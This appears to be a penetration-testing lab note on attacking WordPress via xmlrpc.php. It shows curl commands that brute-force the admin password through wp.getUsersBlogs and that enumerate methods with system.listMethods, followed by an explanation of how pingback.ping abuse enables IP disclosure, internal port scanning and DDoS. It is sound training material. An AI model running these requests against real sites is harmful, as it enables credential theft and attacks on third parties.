a-Attack Wordpress xmlrpc.php

It is important to note that xmlrpc.php being enabled on a WordPress instance is not a vulnerability. Depending on the methods allowed, xmlrpc.php can facilitate some enumeration and exploitation activities, though.

On target Wordpress website, we identified valid usernames such as admin, and that xmlrpc.php is enabled.

We can mount a password brute-forcing attack through xmlrpc.php, as follows.

jadu101@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
 
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>http://blog.inlanefreight.com/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>Inlanefreight</string></value></member>
  <member><name>xmlrpc</name><value><string>http://blog.inlanefreight.com/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Above, you can see a successful login attempt through xmlrpc.php.

We will receive a 403 faultCode error if the credentials are not valid.

How did the above identified the correct method to call (system.listMethods)? We did that by going through the well-documented Wordpress code and interacting with xmlrpc.php, as follows.

jadu101@htb[/htb]$ curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
 
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Inside the list of available methods above, pingback.ping is included. pingback.ping allows for XML-RPC pingbacks. According to WordPress, a pingback is a special type of comment that’s created when you link to another blog post, as long as the other blog is set to accept pingbacks.

Unfortunately, if pingbacks are available, they can facilitate:

IP Disclosure - An attacker can call the pingback.ping method on a WordPress instance behind Cloudflare to identify its public IP. The pingback should point to an attacker-controlled host (such as a VPS) accessible by the WordPress instance.
Cross-Site Port Attack (XSPA) - An attacker can call the pingback.ping method on a WordPress instance against itself (or other internal hosts) on different ports. Open ports or internal hosts can be identified by looking for response time differences or response differences.
Distributed Denial of Service Attack (DDoS) - An attacker can call the pingback.ping method on numerous WordPress instances against a single target.

👨‍💻👾👨‍💻👾👨‍💻👾

Explorer

a-Attack Wordpress xmlrpc.php

Graph View

Backlinks